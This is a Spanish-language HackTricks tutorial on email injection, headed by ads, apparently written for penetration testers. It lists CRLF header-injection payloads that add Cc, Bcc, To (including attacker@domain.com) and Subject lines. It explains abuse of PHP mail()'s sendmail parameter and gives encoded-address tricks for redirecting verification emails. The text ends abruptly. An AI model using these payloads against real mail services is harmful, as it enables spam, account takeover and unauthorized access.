# Email Injections
\
Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas** comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %}
## Inyectar en correo electrónico enviado
### Inyectar Cc y Bcc después del argumento del remitente
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
El mensaje se enviará a las cuentas de destinatario y destinatario1.
### Inyectar argumento
```
From:sender@domain.com%0ATo:attacker@domain.com
```
El mensaje se enviará al destinatario original y a la cuenta del atacante.
### Inyectar argumento de Asunto
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
El asunto falso se añadirá al asunto original y en algunos casos lo reemplazará. Depende del comportamiento del servicio de correo.
### Cambiar el cuerpo del mensaje
Inyecta un salto de línea de dos líneas, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Explotación de la función mail() de PHP
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### El 5to parámetro ($additional\_parameters)
Esta sección se basará en **cómo abusar de este parámetro suponiendo que un atacante lo controla**.
Este parámetro se añadirá a la línea de comandos que PHP utilizará para invocar el binario sendmail. Sin embargo, será sanitizado con la función `escapeshellcmd($additional_parameters)`.
Un atacante puede **inyectar parámetros adicionales para sendmail** en este caso.
#### Diferencias en la implementación de /usr/sbin/sendmail
La interfaz de **sendmail** es **proporcionada por el software MTA de correo electrónico** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían considerablemente dependiendo del MTA instalado.
Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependiendo del **origen del binario sendmail**, se han descubierto diferentes opciones para abusar de ellos y **filtrar archivos o incluso ejecutar comandos arbitrarios**. Consulta cómo en [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Inyección en el nombre del correo electrónico
{% hint style="danger" %}
Ten en cuenta que si logras crear una cuenta en un servicio con un nombre de dominio arbitrario (como Github, Gitlab, CloudFlare Zero trust...) y verificarla recibiendo el correo electrónico de verificación en tu dirección de correo, podrías acceder a ubicaciones sensibles de la empresa víctima.
{% endhint %}
### Partes ignoradas de un correo electrónico
Los símbolos: **+, -** y **{}** en raras ocasiones pueden ser utilizados para etiquetar y son ignorados por la mayoría de los servidores de correo electrónico.
* Por ejemplo, john.doe+intigriti@example.com → john.doe@example.com
**Comentarios entre paréntesis ()** al principio o al final también serán ignorados.
* Por ejemplo, john.doe(intigriti)@example.com → john.doe@example.com
### Bypass de lista blanca
### Citas
### IPs
También puedes usar IPs como nombres de dominio entre corchetes:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Codificación de correo electrónico
Como se explicó en [**esta investigación**](https://portswigger.net/research/splitting-the-email-atom), los nombres de correo electrónico también pueden contener caracteres codificados:
* **Desbordamiento de PHP 256**: La función `chr` de PHP seguirá sumando 256 a un carácter hasta que se vuelva positivo y luego realizará la operación `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
El objetivo de este truco es terminar con una inyección como `RCPT TO:<"collab@psres.net>collab"@example.com>`\
que enviará el correo electrónico de verificación a una dirección de correo electrónico diferente de la esperada (por lo tanto, introducir otra dirección de correo electrónico dentro del nombre del correo y romper la sintaxis al enviar el correo).
{% endhint %}
Diferentes codificaciones:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@